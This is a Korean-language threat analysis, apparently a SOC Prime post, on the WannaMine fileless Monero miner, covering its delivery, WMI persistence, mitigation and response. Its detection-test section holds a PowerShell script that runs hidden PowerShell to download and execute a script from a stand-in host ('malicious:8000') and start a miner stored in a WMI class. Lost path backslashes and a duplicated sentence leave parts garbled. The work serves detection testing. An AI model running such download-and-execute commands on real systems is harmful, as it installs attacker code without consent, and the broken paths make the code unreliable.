SOC Prime Bias: 심각

14 Jan 2026 15:14 UTC

WannaMine 크립토마이너 분석: 파일리스 실행 및 지속성

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
WannaMine 크립토마이너 분석: 파일리스 실행 및 지속성
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

WannaMine은 파일리스 암호화폐 채굴 웜으로, 메모리에 상주하여 Monero를 채굴하기 위해 주로 PowerShell과 Windows Management Instrumentation (WMI)를 활용하여 영구적으로 유지됩니다.

조사

WannaMine은 악성 배치 파일을 포함한 피싱 이메일을 통해 전송되거나 EternalBlue SMB 취약점을 이용하여 전달됩니다. 지속성을 위해 WMI 이벤트 구독을 등록하고 커스텀 WMI 클래스에 인코딩된 PowerShell을 저장합니다.

WannaMine 완화

SMB (MS17-010) 패치를 통해 EternalBlue 취약점 공격을 방지하십시오. PowerShell 실행과 모니터링을 제한하고, 비정상적인 WMI 클래스 생성과 이벤트 소비자를 주시하며, 권한 남용을 제한하기 위해 최소 권한 원칙을 시행하십시오.

대응

비정상적인 PowerShell/WMI 동작에 경고를 보내고, 영향을 받은 호스트를 격리시키며, 악성 WMI 이벤트 소비자/구독을 제거하고, 잠재적으로 노출된 자격 증명을 교체하며, 메모리 포렌식을 수행하여 메모리에 있는 채굴 활동을 확인하십시오.

공격 흐름

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 점검이 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적 대기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 반드시 식별된 TTP를 직접 반영해야 하며, 탐지 로직에 의해 기대되는 정확한 원격 측정을 생성해야 합니다.

  • 공격 설명 및 명령:
    공격자는 Windows 엔드포인트에서 원격 코드 실행 권한을 얻습니다. 사용자 상호작용을 피하기 위해, 숨겨진 창에서 PowerShell을 실행합니다 (-W Hidden) 프로필 없이 (-NoP) 비대화형으로 (-NonI). 명령은 IEX 을 사용하여 악성 HTTP 서버 (http://malicious:8000/in6.ps1)에서 PowerShell 페이로드를 다운로드합니다. 다운로드된 스크립트는 WMI 클래스 이름 Office_Updater 를 아래에 루트디폴트 에 등록하고, Base64로 인코딩된 Monero 채굴기를 저장하는 속성을 저장합니다. 공격자는 그 후 mon 를 통해 속성을 읽고 이를 호출하여 새로운 프로세스를 생성하지 않고 암호화폐 채굴기를 효과적으로 시작합니다. 이 시퀀스는 탐지 규칙의 세 가지 명령줄 하위 문자열과 일치합니다. [WmiClass] and invokes it, effectively launching the cryptominer without creating a new process. This sequence matches the detection rule’s three command‑line substrings.

  • 회귀 테스트 스크립트:

    #-------------------------------------------------
    # WannaMine 파일리스 암호화폐 채굴기 실행 시뮬레이션
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. 숨겨진 비대화형 PowerShell 실행
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # 명령 실행 (공격자가 실행할 명령)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # 참고: 원격 스크립트 (in6.ps1)는 "mon" 속성을 포함하는 WMI 클래스를 생성한다고 가정합니다.
  • 정리 명령:

    # 악성 WMI 클래스 제거
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # 남아있는 PowerShell 채굴 프로세스 중지 (실행된 경우)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # 선택적: 테스트 중 생성된 PowerShell 전사/로그 파일 삭제
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue